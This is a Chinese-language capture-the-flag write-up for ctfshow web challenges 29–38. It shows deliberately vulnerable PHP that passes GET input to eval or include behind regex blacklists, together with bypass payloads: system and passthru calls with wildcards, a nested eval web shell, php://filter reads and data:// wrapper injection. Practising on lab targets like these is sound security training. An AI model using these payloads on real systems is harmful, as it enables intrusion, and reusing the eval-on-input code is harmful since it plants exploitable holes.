ctf 命令执行

什么是命令执行漏洞：命令执行漏洞就是服务器端没有对客户的一些命令进行过滤，导致客户任意拼接命令使网站进行执行；

ctfshow web入门29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag所以我们只要命令里不出现flag即可所以构造

?c=system('cat fla?.php');

运行后打开源码后即可得到flag

web30

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了system

那构造

?c=passthru('cat fla*');

运行之后查看源码即可得到flag

web31

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

先分析代码发现过滤了.和空格

这里我会个一句话木马

构造

?c=eval($_GET[1]);&1=system('tac flag.php');

web32

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=include$_POST[a]?>

post a=php://filter/read=convert.base64-encode/resource=flag.php

这里我不知道为啥不能用一句话木马，后续知道了在补充；

web33

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

直接构造

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

与上题一样

web35

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

加了一些过滤不影响和上题一样

web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤了数字与上题相似只是多了一个数字同上

web37

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag并且用include文件包含我第一先想到php协议但不知道为啥使不成

那就用data协议

?c=data://text/plain,<?php system("tac f*"); ?c=data://text/plain,<?php%20system("tac%20f*");?>

web38

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了php,可以使用base64编码进行输出